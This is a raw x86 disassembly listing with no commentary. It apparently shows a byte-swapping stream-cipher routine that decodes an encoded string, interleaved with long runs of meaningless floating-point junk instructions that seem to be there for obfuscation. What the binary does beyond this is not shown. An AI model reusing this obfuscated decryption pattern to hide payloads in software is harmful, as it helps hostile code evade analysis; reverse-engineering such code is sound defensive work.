movzx eax, byte [ebp - 0x334c]
add eax, edx
mov byte [ebp - 0x334c], al
movzx ecx, byte [ebp - 0x334c]
and ecx, dword [ebp - 0x4838]
mov dword [ebp - 0x4320], ecx
mov edx, dword [ebp - 0x4af4]
add edx, 1
mov dword [ebp - 0x4af4], edx
cmp dword [ebp - 0x4af4], 0xb
jbe 0x436a22
mov eax, dword [ebp - 0x4320]
xor edx, edx
div dword [ebp - 0x3960]
mov dword [ebp - 0x4320], edx
mov eax, dword [ebp - 0x4320]
cmp eax, dword [ebp - 0x3960]
ja 0x43689d
mov ecx, dword [ebp - 0x3960]
cmp ecx, dword [ebp - 0x4320]
je 0x436ac7
mov edx, dword [ebp - 0x4320]
movzx eax, byte [ebp + edx - 0x4f28]
mov ecx, dword [ebp - 0x3960]
movzx edx, byte [ebp + ecx - 0x4f28]
xor edx, eax
mov eax, dword [ebp - 0x3960]
mov byte [ebp + eax - 0x4f28], dl
mov ecx, dword [ebp - 0x3960]
movzx edx, byte [ebp + ecx - 0x4f28]
mov eax, dword [ebp - 0x4320]
movzx ecx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov edx, dword [ebp - 0x4320]
mov byte [ebp + edx - 0x4f28], cl
mov eax, dword [ebp - 0x4320]
movzx ecx, byte [ebp + eax - 0x4f28]
mov edx, dword [ebp - 0x3960]
movzx eax, byte [ebp + edx - 0x4f28]
xor eax, ecx
mov ecx, dword [ebp - 0x3960]
mov byte [ebp + ecx - 0x4f28], al
jmp 0x43684d
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x3264], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x3278], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32c2], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x3277], al
movzx ecx, byte [ebp - 0x334c]
mov dl, byte [ebp + ecx - 0x4f28]
mov byte [ebp - 0x328e], dl
mov dword [ebp - 0x51b4], 0x52
cmp dword [ebp - 0x51b4], 2
jle 0x4399dd
mov eax, dword [ebp - 0x51b4]
and eax, 1
jne 0x4399dd
mov dword [ebp - 0x3340], 0
mov dword [ebp - 0x3500], 0
mov ecx, dword [ebp - 0x3500]
add ecx, 1
mov dword [ebp - 0x3500], ecx
mov dword [ebp - 0x372c], 0
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x372c], edx
mov dword [ebp - 0x3604], 0
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x372c]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3604]
mov dword [ebp - 0x3604], ecx
mov dword [ebp - 0x3608], 0
mov edx, dword [ebp - 0x3608]
add edx, 0x27
mov dword [ebp - 0x3608], edx
mov dword [ebp - 0x373c], 0
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x373c], ecx
mov dword [ebp - 0x3610], 0
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x373c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3610]
mov dword [ebp - 0x3610], eax
mov dword [ebp - 0x3614], 0
mov ecx, dword [ebp - 0x3614]
add ecx, 0x15
mov dword [ebp - 0x3614], ecx
mov dword [ebp - 0x3618], 0
mov edx, dword [ebp - 0x3604]
sub edx, dword [ebp - 0x3608]
add edx, dword [ebp - 0x3618]
mov dword [ebp - 0x3618], edx
mov dword [ebp - 0x361c], 0
mov eax, dword [ebp - 0x3610]
sub eax, dword [ebp - 0x3614]
add eax, dword [ebp - 0x361c]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x36a8], 0
mov ecx, dword [ebp - 0x3618]
shl ecx, 4
mov dword [ebp - 0x36a8], ecx
mov dword [ebp - 0x36ac], 0
mov edx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], edx
mov dword [ebp - 0x36b0], 0
mov eax, dword [ebp - 0x36a8]
or eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], eax
mov byte [ebp - 0x32c3], 0
mov cl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], cl
mov byte [ebp - 0x32ba], 0
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3264]
add cl, 1
mov byte [ebp - 0x3264], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp - 0x3277]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp - 0x32ba]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x32c2]
add eax, edx
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32c3]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x3264]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
xor ecx, eax
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov byte [ebp - 0x3277], cl
mov al, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], cl
cmp dword [ebp - 0x3340], 0
jle 0x436e56
movsx dx, byte [ebp - 0x330a]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x302], dx
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x3500]
add edx, 1
mov dword [ebp - 0x3500], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x372c], eax
mov ecx, dword [ebp - 0x3730]
add ecx, dword [ebp - 0x372c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3604], edx
mov dword [ebp - 0x3608], 0x27
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x373c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x373c]
movzx eax, byte [edx]
mov dword [ebp - 0x3610], eax
mov dword [ebp - 0x3614], 0x15
mov ecx, dword [ebp - 0x3604]
sub ecx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], ecx
mov edx, dword [ebp - 0x3610]
sub edx, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], edx
mov eax, dword [ebp - 0x3618]
shl eax, 4
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36a8]
or edx, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], edx
mov al, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], al
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f28]
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x3264]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3264]
add al, 1
mov byte [ebp - 0x3264], al
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp - 0x3277]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
mov dl, byte [ebp - 0x32ba]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x32c2]
add edx, ecx
mov byte [ebp - 0x32c2], dl
movzx eax, byte [ebp - 0x32c3]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x3264]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
xor eax, edx
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
movzx ecx, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp + edx - 0x4f28]
xor eax, ecx
mov byte [ebp - 0x3277], al
mov dl, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], al
cmp dword [ebp - 0x3340], 0
jle 0x4370b0
movsx cx, byte [ebp - 0x330a]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x302], cx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x3500]
add ecx, 1
mov dword [ebp - 0x3500], ecx
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x372c], edx
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x372c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3604], ecx
mov dword [ebp - 0x3608], 0x27
mov edx, dword [ebp - 0x3340]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x373c], eax
mov ecx, dword [ebp - 0x3730]
add ecx, dword [ebp - 0x373c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3610], edx
mov dword [ebp - 0x3614], 0x15
mov eax, dword [ebp - 0x3604]
sub eax, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], eax
mov ecx, dword [ebp - 0x3610]
sub ecx, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], ecx
mov edx, dword [ebp - 0x3618]
shl edx, 4
mov dword [ebp - 0x36a8], edx
mov eax, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], eax
mov ecx, dword [ebp - 0x36a8]
or ecx, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], ecx
mov dl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], dl
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f28]
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3264]
add dl, 1
mov byte [ebp - 0x3264], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3277]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3264]
movzx ecx, byte [ebp - 0x3277]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3264]
mov cl, byte [ebp - 0x32ba]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp - 0x32c2]
add ecx, eax
mov byte [ebp - 0x32c2], cl
movzx edx, byte [ebp - 0x32c3]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx eax, byte [ebp - 0x3264]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f28]
xor edx, ecx
movzx eax, byte [ebp - 0x3277]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
movzx eax, byte [ebp - 0x32c2]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp + ecx - 0x4f28]
xor edx, eax
mov byte [ebp - 0x3277], dl
mov cl, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], cl
mov dl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], dl
cmp dword [ebp - 0x3340], 0
jle 0x43730b
movsx ax, byte [ebp - 0x330a]
mov ecx, dword [ebp - 0x3340]
mov word [ebp + ecx*2 - 0x302], ax
mov edx, dword [ebp - 0x3500]
add edx, 0x10
mov dword [ebp - 0x3500], edx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x4af8], eax
jmp 0x43733a
mov ecx, dword [ebp - 0x4af8]
add ecx, 1
mov dword [ebp - 0x4af8], ecx
mov edx, dword [ebp - 0x4af8]
cmp edx, dword [ebp - 0x3500]
jge 0x43802b
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x372c]
movzx eax, byte [edx]
mov dword [ebp - 0x3604], eax
mov dword [ebp - 0x3608], 0x27
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x373c], edx
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x373c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3610], ecx
mov dword [ebp - 0x3614], 0x15
mov edx, dword [ebp - 0x3604]
sub edx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], edx
mov eax, dword [ebp - 0x3610]
sub eax, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], eax
mov ecx, dword [ebp - 0x3618]
shl ecx, 4
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36a8]
or eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], eax
movsd xmm0, qword [0xa6efb0]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [0xa6eed8]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [0xa6ed70]
movsd qword [ebp - 0x46fc], xmm0
movsd xmm0, qword [0xa6eb48]
movsd qword [ebp - 0x422c], xmm0
movsd xmm0, qword [0xa6e8e0]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
subsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x422c]
subsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x422c], xmm0
movsd xmm0, qword [ebp - 0x3738]
subsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3738]
addsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3a18]
comisd xmm0, xmmword [ebp - 0x422c]
jbe 0x43756f
movsd xmm0, qword [ebp - 0x3738]
mulsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3738]
mulsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3820]
subsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3738]
mulsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
mov cl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], cl
jmp 0x4378e3
movsd xmm0, qword [ebp - 0x422c]
addsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x422c], xmm0
movsd xmm0, qword [ebp - 0x3820]
addsd xmm0, qword [ebp - 0x3a18]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3738]
subsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3a18]
subsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3a18]
subsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3820]
addsd xmm0, qword [ebp - 0x3a18]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3820]
divsd xmm0, qword [ebp - 0x3a18]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
subsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x422c]
comisd xmm0, xmmword [ebp - 0x3a18]
jbe 0x43786b
movsd xmm0, qword [ebp - 0x3820]
divsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3820]
subsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x46fc]
addsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x46fc], xmm0
movsd xmm0, qword [ebp - 0x3a18]
divsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3820]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3738]
divsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3820]
divsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3820]
divsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3820]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
comisd xmm0, xmmword [ebp - 0x422c]
jbe 0x4377f1
movsd xmm0, qword [ebp - 0x3820]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
subsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3820]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3738]
mulsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
jmp 0x437869
movsd xmm0, qword [ebp - 0x3738]
addsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3738]
addsd xmm0, qword [ebp - 0x422c]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3820]
addsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3820]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x422c]
divsd xmm0, qword [ebp - 0x3a18]
movsd qword [ebp - 0x422c], xmm0
jmp 0x4378e3
movsd xmm0, qword [ebp - 0x3820]
addsd xmm0, qword [ebp - 0x3a18]
movsd qword [ebp - 0x3820], xmm0
movsd xmm0, qword [ebp - 0x3a18]
mulsd xmm0, qword [ebp - 0x3738]
movsd qword [ebp - 0x3a18], xmm0
movsd xmm0, qword [ebp - 0x3738]
mulsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x3738]
subsd xmm0, qword [ebp - 0x46fc]
movsd qword [ebp - 0x3738], xmm0
movsd xmm0, qword [ebp - 0x422c]
addsd xmm0, qword [ebp - 0x3820]
movsd qword [ebp - 0x422c], xmm0
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3264]
add cl, 1
mov byte [ebp - 0x3264], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp - 0x3277]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp - 0x32ba]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x32c2]
add eax, edx
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32c3]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x3264]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
xor ecx, eax
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov byte [ebp - 0x3277], cl
mov al, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], al
movsd xmm0, qword [0xa6ee40]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [0xa6ed40]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [0xa6ebe8]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [0xa6eac0]
movsd qword [ebp - 0x4184], xmm0
movsd xmm0, qword [0xa6e958]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [0xa6e720]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3744]
subsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3a38]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3744]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x421c]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
comisd xmm0, xmmword [ebp - 0x3bac]
jbe 0x437be1
movsd xmm0, qword [ebp - 0x421c]
subsd xmm0, qword [ebp - 0x3e5c]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3744]
mulsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3744]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3744]
mulsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x421c]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3744]
subsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3744], xmm0
mov cl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], cl
jmp 0x438007
movsd xmm0, qword [ebp - 0x421c]
mulsd xmm0, qword [ebp - 0x3e5c]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x4184]
divsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x4184], xmm0
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3a38]
mulsd xmm0, qword [ebp - 0x421c]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
mulsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
mulsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x4184]
divsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x4184], xmm0
movsd xmm0, qword [ebp - 0x3744]
divsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3bac]
subsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3bac]
comisd xmm0, xmmword [ebp - 0x3744]
jbe 0x437f77
movsd xmm0, qword [ebp - 0x3e5c]
addsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x4184]
addsd xmm0, qword [ebp - 0x421c]
movsd qword [ebp - 0x4184], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
addsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3744]
addsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3a38]
mulsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x421c]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x421c]
subsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3744]
